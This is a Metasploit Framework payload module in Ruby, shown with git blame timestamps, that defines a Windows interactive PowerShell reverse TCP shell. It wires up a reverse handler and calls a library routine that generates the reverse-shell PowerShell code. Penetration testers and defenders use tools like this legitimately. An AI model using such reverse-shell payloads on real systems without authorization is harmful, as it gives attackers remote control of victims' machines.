2015-04-26 18:50:42 +01:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2015-04-26 18:50:42 +01:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
|
##
|
2021-01-28 10:35:25 +00:00
|
|
|
require 'rex/powershell'
|
2015-05-13 17:36:45 +01:00
|
|
|
|
2016-03-08 14:02:44 +01:00
|
|
|
module MetasploitModule
|
2021-07-12 09:22:59 -04:00
|
|
|
CachedSize = :dynamic
|
2015-04-26 18:50:42 +01:00
|
|
|
|
|
|
|
|
include Msf::Payload::Windows::Exec
|
2015-05-13 17:26:21 +01:00
|
|
|
include Msf::Payload::Windows::Powershell
|
2015-04-26 18:50:42 +01:00
|
|
|
include Rex::Powershell::Command
|
|
|
|
|
|
|
|
|
|
def initialize(info = {})
|
2021-11-09 16:23:30 +00:00
|
|
|
super(
|
|
|
|
|
update_info(
|
|
|
|
|
info,
|
|
|
|
|
'Name' => 'Windows Interactive Powershell Session, Reverse TCP',
|
|
|
|
|
'Description' => 'Listen for a connection and spawn an interactive powershell session',
|
|
|
|
|
'Author' => [
|
2015-04-26 18:50:42 +01:00
|
|
|
'Ben Turner', # benpturner
|
|
|
|
|
'Dave Hardy' # davehardy20
|
|
|
|
|
],
|
2021-11-09 16:23:30 +00:00
|
|
|
'References' => [
|
2022-01-23 15:28:32 -05:00
|
|
|
['URL', 'https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit']
|
2015-04-26 18:50:42 +01:00
|
|
|
],
|
2021-11-09 16:23:30 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'Platform' => 'win',
|
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
|
'Handler' => Msf::Handler::ReverseTcp,
|
|
|
|
|
'Session' => Msf::Sessions::PowerShell
|
|
|
|
|
)
|
|
|
|
|
)
|
2015-04-26 18:50:42 +01:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
|
# Override the exec command string
|
|
|
|
|
#
|
2018-07-19 17:01:40 -05:00
|
|
|
def powershell_command
|
2021-11-09 16:23:30 +00:00
|
|
|
generate_powershell_code('Reverse')
|
2015-04-26 18:50:42 +01:00
|
|
|
end
|
|
|
|
|
end
|